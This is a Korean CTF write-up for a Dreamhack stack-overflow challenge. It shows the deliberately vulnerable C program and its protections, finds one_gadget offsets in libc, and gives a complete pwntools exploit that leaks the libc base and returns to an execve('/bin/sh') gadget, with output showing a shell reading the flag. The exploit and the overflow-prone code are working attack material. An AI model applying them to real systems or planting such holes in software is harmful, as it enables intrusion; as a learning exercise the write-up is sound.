이번 문제는 ROP 가젯을 안만들고, one_gadget을 이용해서 익스플로잇 코드를 만드는 과정에 대해 정리하려고 작성했다.
// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if(check > 0) {
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
코드는 stdout의 주소를 받을 수 있고, msg[16]에 비해 46을 read하므로 버퍼 오버플로우가 발생하는 것을 알 수 있다.
일단 어떤 보호기법이 사용되었는지 확인하면 아래와 같다.
$ checksec ./oneshot
[*] '/home/li-sh/Desktop/dreamhack/one_shot/oneshot'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
NX, PIE, Partial RELRO가 적용되어있고, Canary는 없다.
일단 stdout의 주소를 알 수 있으므로, 우리는 이를 이용해서 lib의 base 주소를 구할 수 있다. 이 base 주소에 one_gadget의 offset을 더해서 RET에 입력하면 될 것 같다. 간단한 문제인 것 같다.
우선 one_gadget의 주소를 구해야 하는데 해당 명령어는 아래와 같이 확인 할 수 있다.
$ one_gadget ./libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
해당 명령어는 ./ligbc.so.6에 대한 one_gadget의 offset 주소를 확인 할 수 있다.
이를 이용해서 해당 문제의 익스플로잇 코드를 짜면 아래와 같다.
from pwn import *
# p = process('./oneshot')
p = remote('host1.dreamhack.games', 18958)
e = ELF('./oneshot')
libc = ELF('./libc.so.6')
def slog(name, addr): return success(': '.join([name,hex(addr)]))
one_gadget = 0x45216
p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1],16)
base = stdout - libc.symbols["_IO_2_1_stdout_"]
one_gadget = base + one_gadget
# [1] Leak libc base
payload = b'\x00'* 32
payload += b'\x00'*8
payload += p64(one_gadget)
p.sendafter("MSG: ", payload)
p.interactive()
참고로 check>0이 되면 종료가 되기 때문에 모든 값을 0으로 집어넣었다.
결과는 아래와 같다.
[+] STDOUT: 0x7f329f668620
[+] base: 0x7f329f2a3000
[+] one_gadget: 0x7f329f2e8216
/home/li-sh/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
MSG:
$ cat flag
DH{***********************}
one_gadget은 ROP chain을 구성할 필요없어 매우 강력하지만, libc의 버전마다 다르게 존재하며, 제약 조건도 다 다르기 때문에, one_gadget을 맹신하지 말고, ROP chaining도 연습해놓아야 한다.